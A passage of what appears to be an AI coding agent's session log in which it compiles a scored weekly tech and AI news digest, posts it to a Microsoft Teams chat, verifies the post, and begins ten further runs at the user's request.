making internal agent control and sandboxing a concrete security concern.\n\nCloudflare creates temporary accounts for AI agents \u2014 33/35 (4+5+5+5+5+4+5)Cloudflare adds disposable, isolated accounts so agents can test infrastructure work without exposing production credentials or tenant resources.\n\nGitHub Copilot app becomes generally available \u2014 32/35 (4+5+5+5+3+5+5)GitHub makes its Copilot app generally available, turning the coding agent into a first-class GitHub workflow surface for individual developers.\n\nOpenAI introduces Record & Replay for Codex \u2014 32/35 (4+5+5+5+3+5+5)OpenAI documents a Codex workflow for reproducing agent sessions\u2014useful for debugging, demonstration and repeatable engineering handoffs.\n\nResearcher finds 10,000 GitHub repositories distributing Trojan malware \u2014 31/35 (5+5+1+5+5+5+5)A researcher found 10,000 independently named GitHub repos sharing a malware-distribution pattern, exposing the scale of repository trust abuse.\n\nBlock rolls out Builderbot, a suite of AI-native engineering tools \u2014 31/35 (4+5+5+5+3+4+5)Block introduces Builderbot, an AI-native tool suite used internally to change how its engineers build, review and ship software.\n\nGitHub adds per-user AI-credit use to Copilot metrics API \u2014 30/35 (4+5+4+5+2+5+5)Copilot usage metrics now expose AI-credit consumption per user, giving engineering leaders clearer cost and adoption visibility.\n\nStudy compares productivity across generations of AI coding tools \u2014 29/35 (4+5+5+5+2+3+5)New productivity research separates writing code from shipping code and compares how several generations of AI coding tools affect real workflows.\n\nLinux finally removes strncpy after six years and 360+ patches \u2014 28/35 (4+5+1+4+4+5+5)The kernel eliminated the error-prone strncpy API after more than 360 patches, a major secure-coding cleanup for a critical open-source dependency.\n\nMidjourney moves into 60-second whole-body ultrasound screening \u2014 28/35 (4+3+5+2+4+5+5)Midjourney says it is investing over $74M in a 60-second full-body ultrasound screening system, expanding well beyond image generation.\n\nTrump announces Intel\u2013Apple chip design partnership \u2014 26/35 (5+4+2+2+3+5+5)Apple will work with Intel on US chip design, a high-profile domestic semiconductor partnership that could reshape a strategically important supply chain.\n\nProject Valhalla\u2019s value types arrive in JDK 28 after a decade of work \u2014 26/35 (4+5+1+5+2+4+5)JDK 28 starts delivering Valhalla\u2019s value-type work, a long-awaited JVM change aimed at denser data layouts and better performance without losing safety.\n\nGrapheneOS is ported to Android 17 \u2014 26/35 (4+4+1+3+5+4+5)The security-focused mobile OS completed its Android 17 port and says official releases are coming, reducing upgrade lag for privacy-conscious deployments.\n\nHyundai takes full ownership of Boston Dynamics \u2014 25/35 (4+3+4+2+2+5+5)Hyundai is buying SoftBank\u2019s remaining 9.65% stake for $325M, taking full control of Boston Dynamics and its commercial robotics portfolio.\nTies were ordered by industry impact first, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782103661168\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782103661168\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:47:41.168Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026\\n\\nReviewed 100 candidate articles published June 16\u201322 across Google News/RSS,\\nHacker News, GitHub, OpenAI, Microsoft, AWS, Google Cloud, CISA/security\\nsources and major technology publications. De-duplicated against 17 prior\\nChatReview tech-news posts (192 linked stories) by underlying event.\\n\\n**Score factors (in order): Industry impact; relevance to engineers/leaders;\\nAI/ML significance; developer-tool/cloud/workflow impact;\\nsecurity/privacy/infrastructure; major-company adoption; novelty.** Scores\\nbelow show the seven 1\u20135 values in that order, followed by the total.\\n\\n  1. **[Samsung Electronics brings ChatGPT and Codex to employees](https://news.google.com/rss/articles/CBMiekFVX3lxTE90VVluclVyOVNEY3I2a2hVMzg0Ylp1VFhXa1pIdHlCd19wRUI4Z1pZZUktTUxZZnlPMjJ3YXZiRWswRzdBZENMRW02WFRYYTRRV1NxLUtwZjl0djc2dFhOZm5QdTJERUl6Q2N2eTFsQ1BfLTNXWlNwR3ZR?oc=5)** \u2014 **34/35** (5+5+5+5+4+5+5)  \\nSamsung is rolling out ChatGPT Enterprise and Codex globally\u2014one of the\\nclearest large-enterprise signals yet for AI coding and knowledge-work\\nadoption.\\n\\n  2. **[Google DeepMind details defenses against increasingly capable AI](https://news.google.com/rss/articles/CBMib0FVX3lxTFBwbVhyR04tNjU3OFI5RHI4TWVqQjVxeUQ5OTVTSHkybWpPc3UwRkhWVnRfRkFSTUZEREhadFE0TWpkZnFYMGJFR1BsVGJhaXQwSkw3eDhPR1lYM1lRX2doTS1rajFzQXV3eXVBWS1IQQ?oc=5)** \u2014 **33/35** (5+5+5+3+5+5+5)  \\nDeepMind details defenses against capable, imperfectly aligned AI, making\\ninternal agent control and sandboxing a concrete security concern.\\n\\n  3. **[Cloudflare creates temporary accounts for AI agents](https://news.google.com/rss/articles/CBMiW0FVX3lxTE9JOEN5WlBkQU1FbjNpb2hTN3FMSmpycDhpZllUQlNWQ090bHg2cWlVNFZTUEoyVFNFTEttb2NWTjVyQzBfYnNmbk14WDRLOHZfN2RhLVBlX2dTUFk?oc=5)** \u2014 **33/35** (4+5+5+5+5+4+5)  \\nCloudflare adds disposable, isolated accounts so agents can test\\ninfrastructure work without exposing production credentials or tenant\\nresources.\\n\\n  4. **[GitHub Copilot app becomes generally available](https://news.google.com/rss/articles/CBMihwFBVV95cUxObkVVbEQxdTFsOUhfWGF6Y0xSTzhKQ3Q0VmVqT25KSVhBLTY5Q19pbU8xOFlobFROTkwxT0d0cy1XZ3lmSUx0cUI0S0VEbTM4QVNlOXZqaFMxRHRtbTNtOGZ2ekxYdzdIdENjMm9qaGdkdUFndkxqRFJISXpzb2N3dFlBNnp1VFE?oc=5)** \u2014 **32/35** (4+5+5+5+3+5+5)  \\nGitHub makes its Copilot app generally available, turning the coding agent\\ninto a first-class GitHub workflow surface for individual developers.\\n\\n  5. **[OpenAI introduces Record& Replay for Codex](https://news.google.com/rss/articles/CBMiY0FVX3lxTE5iRldlTjRYUjlrcUtGNWxsUl96UUJyMVVDZ3hEcUhGTUpENHZhcG12cDhfLWQtLUkwTVlXY0JDS3JuUDlDam1ROGJDaFhOQmlVbGZNM284ekJJTWs3VFlsMEh1OA?oc=5)** \u2014 **32/35** (4+5+5+5+3+5+5)  \\nOpenAI documents a Codex workflow for reproducing agent sessions\u2014useful for\\ndebugging, demonstration and repeatable engineering handoffs.\\n\\n  6. **[Researcher finds 10,000 GitHub repositories distributing Trojan malware](https://orchidfiles.com/github-repositories-distributing-malware/)** \u2014 **31/35** (5+5+1+5+5+5+5)  \\nA researcher found 10,000 independently named GitHub repos sharing a malware-\\ndistribution pattern, exposing the scale of repository trust abuse.\\n\\n  7. **[Block rolls out Builderbot, a suite of AI-native engineering tools](https://news.google.com/rss/articles/CBMisAFBVV95cUxPektqZmdCM01TaU1NajJRYzJBdlRsa2FWS2lZc3lQLXJmQWk4WHp6WnM0N0JGYXRMd243WWdvRzltalZVQUh1V3cwNWxvWGlVYXU0eEdtZy00Rl9NUWJmLVIxNU1CYUFrend1RnFzcVg5anJhTkltdFN4aE1PVVNkOFJTSjU0eGhqbFloVFk3Y3lSXzJkRldNRnJKRVNLbGU4UV94ODN5alNIVHJjZDdtXw?oc=5)** \u2014 **31/35** (4+5+5+5+3+4+5)  \\nBlock introduces Builderbot, an AI-native tool suite used internally to change\\nhow its engineers build, review and ship software.\\n\\n  8. **[GitHub adds per-user AI-credit use to Copilot metrics API](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPV3o3VHdGeFlUSmZIeHVIRjJ5MmI3bFNvak5CcmNJSzVOMDctX09aQjVJcndTVi1hQ1djM2MweTV5V3pGV0R1WkpPU3VxUE9GMlhRNmEwRndsSDZqcmlydGRyZEw4a0hEWHRfSlJVdFlEVnhOVGNpb21SY2Y3a0g2eFozMEZxMWIwWXhEaVlBSlhISFRuM1pINnp6bThRY1lfZFFlLXRPVzB3bUE?oc=5)** \u2014 **30/35** (4+5+4+5+2+5+5)  \\nCopilot usage metrics now expose AI-credit consumption per user, giving\\nengineering leaders clearer cost and adoption visibility.\\n\\n  9. **[Study compares productivity across generations of AI coding tools](https://news.google.com/rss/articles/CBMitAFBVV95cUxOMEliZ3NSRXFwcERFcHlOaU1vRGtrX2hzSGdFWE5ZSEpaNzNMVHVHa2VhYkpDTzFqTldvUTVNTVFxYzR1UVdnN0ZRTG9RZWRfYVEyNHA0TXdsVHhGN1FmZHNxbmhPeUdnQkZsMENaaEhHcEZZbWV3aWNRdjJVbmV5T2traDRTRUlSRS1EVXNRMERjSk0yQXl0dzdGRTMwTjJycE1WbFZCYkFzTzlhaTB3YUItVFM?oc=5)** \u2014 **29/35** (4+5+5+5+2+3+5)  \\nNew productivity research separates writing code from shipping code and\\ncompares how several generations of AI coding tools affect real workflows.\\n\\n  10. **[Linux finally removes strncpy after six years and 360+ patches](https://news.google.com/rss/articles/CBMiY0FVX3lxTE1WUWlZeE9vQ0s0eEpSMFpheWlZdVZDQnFFd0ZyQzFQU1dNZ2Z3YnlTUzU4NUYzUUVURTQweU5TeXRQTXN3ZW1kU2xtcGZLT1lNMFpTRHhaRy1YUDBGci0yVlROdw?oc=5)** \u2014 **28/35** (4+5+1+4+4+5+5)  \\nThe kernel eliminated the error-prone strncpy API after more than 360 patches,\\na major secure-coding cleanup for a critical open-source dependency.\\n\\n  11. **[Midjourney moves into 60-second whole-body ultrasound screening](https://www.midjourney.com/medical/blogpost)** \u2014 **28/35** (4+3+5+2+4+5+5)  \\nMidjourney says it is investing over $74M in a 60-second full-body ultrasound\\nscreening system, expanding well beyond image generation.\\n\\n  12. **[Trump announces Intel\u2013Apple chip design partnership](https://news.google.com/rss/articles/CBMie0FVX3lxTE9EYlA1MHNsNk83YllqeGQ4NjVjajZXSnpUdHRUcU1OaTZoM1hXUGZhb2ktT3BFUHBVTmEtOFowaUw3Qk9LWHJPeGdJWmRrWXV0YXBYaERka3kwMzlGTVAteFA4X1BQSlFKNy13QjZWb2h1UTU2azhmT3VPMNIBgAFBVV95cUxNajJvNDlLalFrd0RUcldYN0tHVUZlOEJfX1Q4bGZ3M004S2ktUGY5dmFFd0Q3R1Q2djBzN1NvQWJSSksxYWVjTV9NdW44U2ttTFU4NzRZNzFCSHBWWlB2VXowcGt0dlFWbXM1bkhwTjRFY2l1Qm1HVHFDU0dEUTczcg?oc=5)** \u2014 **26/35** (5+4+2+2+3+5+5)  \\nApple will work with Intel on US chip design, a high-profile domestic\\nsemiconductor partnership that could reshape a strategically important supply\\nchain.\\n\\n  13. **[Project Valhalla\u2019s value types arrive in JDK 28 after a decade of work](https://www.jvm-weekly.com/p/project-valhalla-explained-how-a)** \u2014 **26/35** (4+5+1+5+2+4+5)  \\nJDK 28 starts delivering Valhalla\u2019s value-type work, a long-awaited JVM change\\naimed at denser data layouts and better performance without losing safety.\\n\\n  14. **[GrapheneOS is ported to Android 17](https://discuss.grapheneos.org/d/36469-grapheneos-has-been-ported-to-android-17-and-official-releases-are-coming-soon)** \u2014 **26/35** (4+4+1+3+5+4+5)  \\nThe security-focused mobile OS completed its Android 17 port and says official\\nreleases are coming, reducing upgrade lag for privacy-conscious deployments.\\n\\n  15. **[Hyundai takes full ownership of Boston Dynamics](https://startupfortune.com/hyundai-takes-full-control-of-boston-dynamics-as-softbank-exits-for-325-million/)** \u2014 **25/35** (4+3+4+2+2+5+5)  \\nHyundai is buying SoftBank\u2019s remaining 9.65% stake for $325M, taking full\\ncontrol of Boston Dynamics and its commercial robotics portfolio.\\n\\n_Ties were ordered by industry impact first, then engineering-leader\\nrelevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782103661168\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026\\n\\nReviewed 100 candidate articles published June 16\u201322 across Google News/RSS,\\nHacker News, GitHub, OpenAI, Microsoft, AWS, Google Cloud, CISA/security\\nsources and major technology publications. De-duplicated against 17 prior\\nChatReview tech-news posts (192 linked stories) by underlying event.\\n\\n**Score factors (in order): Industry impact; relevance to engineers/leaders;\\nAI/ML significance; developer-tool/cloud/workflow impact;\\nsecurity/privacy/infrastructure; major-company adoption; novelty.** Scores\\nbelow show the seven 1\u20135 values in that order, followed by the total.\\n\\n  1. **[Samsung Electronics brings ChatGPT and Codex to employees](https://news.google.com/rss/articles/CBMiekFVX3lxTE90VVluclVyOVNEY3I2a2hVMzg0Ylp1VFhXa1pIdHlCd19wRUI4Z1pZZUktTUxZZnlPMjJ3YXZiRWswRzdBZENMRW02WFRYYTRRV1NxLUtwZjl0djc2dFhOZm5QdTJERUl6Q2N2eTFsQ1BfLTNXWlNwR3ZR?oc=5)** \u2014 **34/35** (5+5+5+5+4+5+5)  \\nSamsung is rolling out ChatGPT Enterprise and Codex globally\u2014one of the\\nclearest large-enterprise signals yet for AI coding and knowledge-work\\nadoption.\\n\\n  2. **[Google DeepMind details defenses against increasingly capable AI](https://news.google.com/rss/articles/CBMib0FVX3lxTFBwbVhyR04tNjU3OFI5RHI4TWVqQjVxeUQ5OTVTSHkybWpPc3UwRkhWVnRfRkFSTUZEREhadFE0TWpkZnFYMGJFR1BsVGJhaXQwSkw3eDhPR1lYM1lRX2doTS1rajFzQXV3eXVBWS1IQQ?oc=5)** \u2014 **33/35** (5+5+5+3+5+5+5)  \\nDeepMind details defenses against capable, imperfectly aligned AI, making\\ninternal agent control and sandboxing a concrete security concern.\\n\\n  3. **[Cloudflare creates temporary accounts for AI agents](https://news.google.com/rss/articles/CBMiW0FVX3lxTE9JOEN5WlBkQU1FbjNpb2hTN3FMSmpycDhpZllUQlNWQ090bHg2cWlVNFZTUEoyVFNFTEttb2NWTjVyQzBfYnNmbk14WDRLOHZfN2RhLVBlX2dTUFk?oc=5)** \u2014 **33/35** (4+5+5+5+5+4+5)  \\nCloudflare adds disposable, isolated accounts so agents can test\\ninfrastructure work without exposing production credentials or tenant\\nresources.\\n\\n  4. **[GitHub Copilot app becomes generally available](https://news.google.com/rss/articles/CBMihwFBVV95cUxObkVVbEQxdTFsOUhfWGF6Y0xSTzhKQ3Q0VmVqT25KSVhBLTY5Q19pbU8xOFlobFROTkwxT0d0cy1XZ3lmSUx0cUI0S0VEbTM4QVNlOXZqaFMxRHRtbTNtOGZ2ekxYdzdIdENjMm9qaGdkdUFndkxqRFJISXpzb2N3dFlBNnp1VFE?oc=5)** \u2014 **32/35** (4+5+5+5+3+5+5)  \\nGitHub makes its Copilot app generally available, turning the coding agent\\ninto a first-class GitHub workflow surface for individual developers.\\n\\n  5. **[OpenAI introduces Record& Replay for Codex](https://news.google.com/rss/articles/CBMiY0FVX3lxTE5iRldlTjRYUjlrcUtGNWxsUl96UUJyMVVDZ3hEcUhGTUpENHZhcG12cDhfLWQtLUkwTVlXY0JDS3JuUDlDam1ROGJDaFhOQmlVbGZNM284ekJJTWs3VFlsMEh1OA?oc=5)** \u2014 **32/35** (4+5+5+5+3+5+5)  \\nOpenAI documents a Codex workflow for reproducing agent sessions\u2014useful for\\ndebugging, demonstration and repeatable engineering handoffs.\\n\\n  6. **[Researcher finds 10,000 GitHub repositories distributing Trojan malware](https://orchidfiles.com/github-repositories-distributing-malware/)** \u2014 **31/35** (5+5+1+5+5+5+5)  \\nA researcher found 10,000 independently named GitHub repos sharing a malware-\\ndistribution pattern, exposing the scale of repository trust abuse.\\n\\n  7. **[Block rolls out Builderbot, a suite of AI-native engineering tools](https://news.google.com/rss/articles/CBMisAFBVV95cUxPektqZmdCM01TaU1NajJRYzJBdlRsa2FWS2lZc3lQLXJmQWk4WHp6WnM0N0JGYXRMd243WWdvRzltalZVQUh1V3cwNWxvWGlVYXU0eEdtZy00Rl9NUWJmLVIxNU1CYUFrend1RnFzcVg5anJhTkltdFN4aE1PVVNkOFJTSjU0eGhqbFloVFk3Y3lSXzJkRldNRnJKRVNLbGU4UV94ODN5alNIVHJjZDdtXw?oc=5)** \u2014 **31/35** (4+5+5+5+3+4+5)  \\nBlock introduces Builderbot, an AI-native tool suite used internally to change\\nhow its engineers build, review and ship software.\\n\\n  8. **[GitHub adds per-user AI-credit use to Copilot metrics API](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPV3o3VHdGeFlUSmZIeHVIRjJ5MmI3bFNvak5CcmNJSzVOMDctX09aQjVJcndTVi1hQ1djM2MweTV5V3pGV0R1WkpPU3VxUE9GMlhRNmEwRndsSDZqcmlydGRyZEw4a0hEWHRfSlJVdFlEVnhOVGNpb21SY2Y3a0g2eFozMEZxMWIwWXhEaVlBSlhISFRuM1pINnp6bThRY1lfZFFlLXRPVzB3bUE?oc=5)** \u2014 **30/35** (4+5+4+5+2+5+5)  \\nCopilot usage metrics now expose AI-credit consumption per user, giving\\nengineering leaders clearer cost and adoption visibility.\\n\\n  9. **[Study compares productivity across generations of AI coding tools](https://news.google.com/rss/articles/CBMitAFBVV95cUxOMEliZ3NSRXFwcERFcHlOaU1vRGtrX2hzSGdFWE5ZSEpaNzNMVHVHa2VhYkpDTzFqTldvUTVNTVFxYzR1UVdnN0ZRTG9RZWRfYVEyNHA0TXdsVHhGN1FmZHNxbmhPeUdnQkZsMENaaEhHcEZZbWV3aWNRdjJVbmV5T2traDRTRUlSRS1EVXNRMERjSk0yQXl0dzdGRTMwTjJycE1WbFZCYkFzTzlhaTB3YUItVFM?oc=5)** \u2014 **29/35** (4+5+5+5+2+3+5)  \\nNew productivity research separates writing code from shipping code and\\ncompares how several generations of AI coding tools affect real workflows.\\n\\n  10. **[Linux finally removes strncpy after six years and 360+ patches](https://news.google.com/rss/articles/CBMiY0FVX3lxTE1WUWlZeE9vQ0s0eEpSMFpheWlZdVZDQnFFd0ZyQzFQU1dNZ2Z3YnlTUzU4NUYzUUVURTQweU5TeXRQTXN3ZW1kU2xtcGZLT1lNMFpTRHhaRy1YUDBGci0yVlROdw?oc=5)** \u2014 **28/35** (4+5+1+4+4+5+5)  \\nThe kernel eliminated the error-prone strncpy API after more than 360 patches,\\na major secure-coding cleanup for a critical open-source dependency.\\n\\n  11. **[Midjourney moves into 60-second whole-body ultrasound screening](https://www.midjourney.com/medical/blogpost)** \u2014 **28/35** (4+3+5+2+4+5+5)  \\nMidjourney says it is investing over $74M in a 60-second full-body ultrasound\\nscreening system, expanding well beyond image generation.\\n\\n  12. **[Trump announces Intel\u2013Apple chip design partnership](https://news.google.com/rss/articles/CBMie0FVX3lxTE9EYlA1MHNsNk83YllqeGQ4NjVjajZXSnpUdHRUcU1OaTZoM1hXUGZhb2ktT3BFUHBVTmEtOFowaUw3Qk9LWHJPeGdJWmRrWXV0YXBYaERka3kwMzlGTVAteFA4X1BQSlFKNy13QjZWb2h1UTU2azhmT3VPMNIBgAFBVV95cUxNajJvNDlLalFrd0RUcldYN0tHVUZlOEJfX1Q4bGZ3M004S2ktUGY5dmFFd0Q3R1Q2djBzN1NvQWJSSksxYWVjTV9NdW44U2ttTFU4NzRZNzFCSHBWWlB2VXowcGt0dlFWbXM1bkhwTjRFY2l1Qm1HVHFDU0dEUTczcg?oc=5)** \u2014 **26/35** (5+4+2+2+3+5+5)  \\nApple will work with Intel on US chip design, a high-profile domestic\\nsemiconductor partnership that could reshape a strategically important supply\\nchain.\\n\\n  13. **[Project Valhalla\u2019s value types arrive in JDK 28 after a decade of work](https://www.jvm-weekly.com/p/project-valhalla-explained-how-a)** \u2014 **26/35** (4+5+1+5+2+4+5)  \\nJDK 28 starts delivering Valhalla\u2019s value-type work, a long-awaited JVM change\\naimed at denser data layouts and better performance without losing safety.\\n\\n  14. **[GrapheneOS is ported to Android 17](https://discuss.grapheneos.org/d/36469-grapheneos-has-been-ported-to-android-17-and-official-releases-are-coming-soon)** \u2014 **26/35** (4+4+1+3+5+4+5)  \\nThe security-focused mobile OS completed its Android 17 port and says official\\nreleases are coming, reducing upgrade lag for privacy-conscious deployments.\\n\\n  15. **[Hyundai takes full ownership of Boston Dynamics](https://startupfortune.com/hyundai-takes-full-control-of-boston-dynamics-as-softbank-exits-for-325-million/)** \u2014 **25/35** (4+3+4+2+2+5+5)  \\nHyundai is buying SoftBank\u2019s remaining 9.65% stake for $325M, taking full\\ncontrol of Boston Dynamics and its commercial robotics portfolio.\\n\\n_Ties were ordered by industry impact first, then engineering-leader\\nrelevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:47:41.168Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> - Ran `$p='C:\\Users\\Jenishkumar\\.codex\\memories\\skills\\teams-chatreview-posting\\SKILL.md'; $i=0; Get-Content -LiteralPath $p | ForEach-Object { $i++; if(($i -ge 14 -and $i -le 43) -or ($i -ge 67 -and $i -le 78)){ '{0}:{1}' -f $i,$_ }}`\n>\n> \n\n\nCompleted and posted the ranked tech, IT, and AI news summary to Microsoft Teams \u201cChatReview.\u201d\n\n[Open the verified Teams post](https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782103661168?context=%7B%22contextType%22:%22chat%22)\n\n### Results\n\n- Review period: June 16\u201322, 2026\n- Articles reviewed: 100 distinct candidate articles\n- Sources checked: Google News/RSS, Hacker News, GitHub Blog, OpenAI, Microsoft, AWS, Google Cloud, CISA/security reporting, technology publications, and other industry/official sources\n- Previous ChatReview history reviewed: 17 technology-news posts with 192 linked stories\n- Selected: 15 new stories\n- Duplicate handling: Excluded same-event coverage, not only matching headlines and URLs\n- Description length: Every description is 129\u2013155 characters, below the requested 200-character limit\n- Teams message ID: `1782103661168`\n- Verification: The posted message was fetched back successfully; its heading, first and last items, links, and scoring information were confirmed\n\nThe seven displayed factor values follow this order:\n\n1. Industry impact\n2. Relevance to engineers and technical leaders\n3. AI/ML significance\n4. Developer-tool, cloud, or engineering-workflow impact\n5. Security, privacy, or infrastructure implications\n6. Major-technology-company adoption\n7. Novelty compared with previous ChatReview posts\n\n### Top-ranked items\n\n1. [Samsung Electronics brings ChatGPT and Codex to employees](https://news.google.com/rss/articles/CBMiekFVX3lxTE90VVluclVyOVNEY3I2a2hVMzg0Ylp1VFhXa1pIdHlCd19wRUI4Z1pZZUktTUxZZnlPMjJ3YXZiRWswRzdBZENMRW02WFRYYTRRV1NxLUtwZjl0djc2dFhOZm5QdTJERUl6Q2N2eTFsQ1BfLTNXWlNwR3ZR?oc=5) \u2014 34/35 (`5+5+5+5+4+5+5`)\n2. [Google DeepMind details defenses against increasingly capable AI](https://news.google.com/rss/articles/CBMib0FVX3lxTFBwbVhyR04tNjU3OFI5RHI4TWVqQjVxeUQ5OTVTSHkybWpPc3UwRkhWVnRfRkFSTUZEREhadFE0TWpkZnFYMGJFR1BsVGJhaXQwSkw3eDhPR1lYM1lRX2doTS1rajFzQXV3eXVBWS1IQQ?oc=5) \u2014 33/35 (`5+5+5+3+5+5+5`)\n3. [Cloudflare creates temporary accounts for AI agents](https://news.google.com/rss/articles/CBMiW0FVX3lxTE9JOEN5WlBkQU1FbjNpb2hTN3FMSmpycDhpZllUQlNWQ090bHg2cWlVNFZTUEoyVFNFTEttb2NWTjVyQzBfYnNmbk14WDRLOHZfN2RhLVBlX2dTUFk?oc=5) \u2014 33/35 (`4+5+5+5+5+4+5`)\n4. [GitHub Copilot app becomes generally available](https://news.google.com/rss/articles/CBMihwFBVV95cUxObkVVbEQxdTFsOUhfWGF6Y0xSTzhKQ3Q0VmVqT25KSVhBLTY5Q19pbU8xOFlobFROTkwxT0d0cy1XZ3lmSUx0cUI0S0VEbTM4QVNlOXZqaFMxRHRtbTNtOGZ2ekxYdzdIdENjMm9qaGdkdUFndkxqRFJISXpzb2N3dFlBNnp1VFE?oc=5) \u2014 32/35 (`4+5+5+5+3+5+5`)\n5. [OpenAI introduces Record & Replay for Codex](https://news.google.com/rss/articles/CBMiY0FVX3lxTE5iRldlTjRYUjlrcUtGNWxsUl96UUJyMVVDZ3hEcUhGTUpENHZhcG12cDhfLWQtLUkwTVlXY0JDS3JuUDlDam1ROGJDaFhOQmlVbGZNM284ekJJTWs3VFlsMEh1OA?oc=5) \u2014 32/35 (`4+5+5+5+3+5+5`)\n6. [Researcher finds 10,000 GitHub repositories distributing Trojan malware](https://orchidfiles.com/github-repositories-distributing-malware/) \u2014 31/35\n7. [Block rolls out Builderbot, a suite of AI-native engineering tools](https://news.google.com/rss/articles/CBMisAFBVV95cUxPektqZmdCM01TaU1NajJRYzJBdlRsa2FWS2lZc3lQLXJmQWk4WHp6WnM0N0JGYXRMd243WWdvRzltalZVQUh1V3cwNWxvWGlVYXU0eEdtZy00Rl9NUWJmLVIxNU1CYUFrend1RnFzcVg5anJhTkltdFN4aE1PVVNkOFJTSjU0eGhqbFloVFk3Y3lSXzJkRldNRnJKRVNLbGU4UV94ODN5alNIVHJjZDdtXw?oc=5) \u2014 31/35\n8. [GitHub adds per-user AI-credit use to Copilot metrics API](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPV3o3VHdGeFlUSmZIeHVIRjJ5MmI3bFNvak5CcmNJSzVOMDctX09aQjVJcndTVi1hQ1djM2MweTV5V3pGV0R1WkpPU3VxUE9GMlhRNmEwRndsSDZqcmlydGRyZEw4a0hEWHRfSlJVdFlEVnhOVGNpb21SY2Y3a0g2eFozMEZxMWIwWXhEaVlBSlhISFRuM1pINnp6bThRY1lfZFFlLXRPVzB3bUE?oc=5) \u2014 30/35\n9. [Study compares productivity across generations of AI coding tools](https://news.google.com/rss/articles/CBMitAFBVV95cUxOMEliZ3NSRXFwcERFcHlOaU1vRGtrX2hzSGdFWE5ZSEpaNzNMVHVHa2VhYkpDTzFqTldvUTVNTVFxYzR1UVdnN0ZRTG9RZWRfYVEyNHA0TXdsVHhGN1FmZHNxbmhPeUdnQkZsMENaaEhHcEZZbWV3aWNRdjJVbmV5T2traDRTRUlSRS1EVXNRMERjSk0yQXl0dzdGRTMwTjJycE1WbFZCYkFzTzlhaTB3YUItVFM?oc=5) \u2014 29/35\n10. [Linux finally removes `strncpy` after six years and over 360 patches](https://news.google.com/rss/articles/CBMiY0FVX3lxTE1WUWlZeE9vQ0s0eEpSMFpheWlZdVZDQnFFd0ZyQzFQU1dNZ2Z3YnlTUzU4NUYzUUVURTQweU5TeXRQTXN3ZW1kU2xtcGZLT1lNMFpTRHhaRy1YUDBGci0yVlROdw?oc=5) \u2014 28/35\n11. [Midjourney moves into 60-second whole-body ultrasound screening](https://www.midjourney.com/medical/blogpost) \u2014 28/35\n12. [Intel\u2013Apple chip-design partnership announced](https://news.google.com/rss/articles/CBMie0FVX3lxTE9EYlA1MHNsNk83YllqeGQ4NjVjajZXSnpUdHRUcU1OaTZoM1hXUGZhb2ktT3BFUHBVTmEtOFowaUw3Qk9LWHJPeGdJWmRrWXV0YXBYaERka3kwMzlGTVAteFA4X1BQSlFKNy13QjZWb2h1UTU2azhmT3VPMNIBgAFBVV95cUxNajJvNDlLalFrd0RUcldYN0tHVUZlOEJfX1Q4bGZ3M004S2ktUGY5dmFFd0Q3R1Q2djBzN1NvQWJSSksxYWVjTV9NdW44U2ttTFU4NzRZNzFCSHBWWlB2VXowcGt0dlFWbXM1bkhwTjRFY2l1Qm1HVHFDU0dEUTczcg?oc=5) \u2014 26/35\n13. [Project Valhalla\u2019s value types arrive in JDK 28 after a decade of work](https://www.jvm-weekly.com/p/project-valhalla-explained-how-a) \u2014 26/35\n14. [GrapheneOS is ported to Android 17](https://discuss.grapheneos.org/d/36469-grapheneos-has-been-ported-to-android-17-and-official-releases-are-coming-soon) \u2014 26/35\n15. [Hyundai takes full ownership of Boston Dynamics](https://startupfortune.com/hyundai-takes-full-control-of-boston-dynamics-as-softbank-exits-for-325-million/) \u2014 25/35\n\nThe Teams post contains the complete descriptions and full seven-factor score breakdowns for all 15 entries.\n\n> please do this task 10 times\n\n\n8 previous messages\n\n> I\u2019m treating this as 10 additional complete runs, not a plan: ten separate, verified ChatReview posts, each with 10\u201315 newly selected stories and no event overlap with the 207 stories already posted. I\u2019m reusing the feed-based collection path because the browser news search was blocked, but I\u2019ll widen the query families and source coverage so later passes still have enough genuinely different material.\n>\n> \nEdited a file, ran 24 commands\n>\n> - Ran `Get-Content -LiteralPath 'C:\\Users\\Jenishkumar\\.codex\\memories\\skills\\teams-chatreview-posting\\SKILL.md' -Raw`\n> - Ran 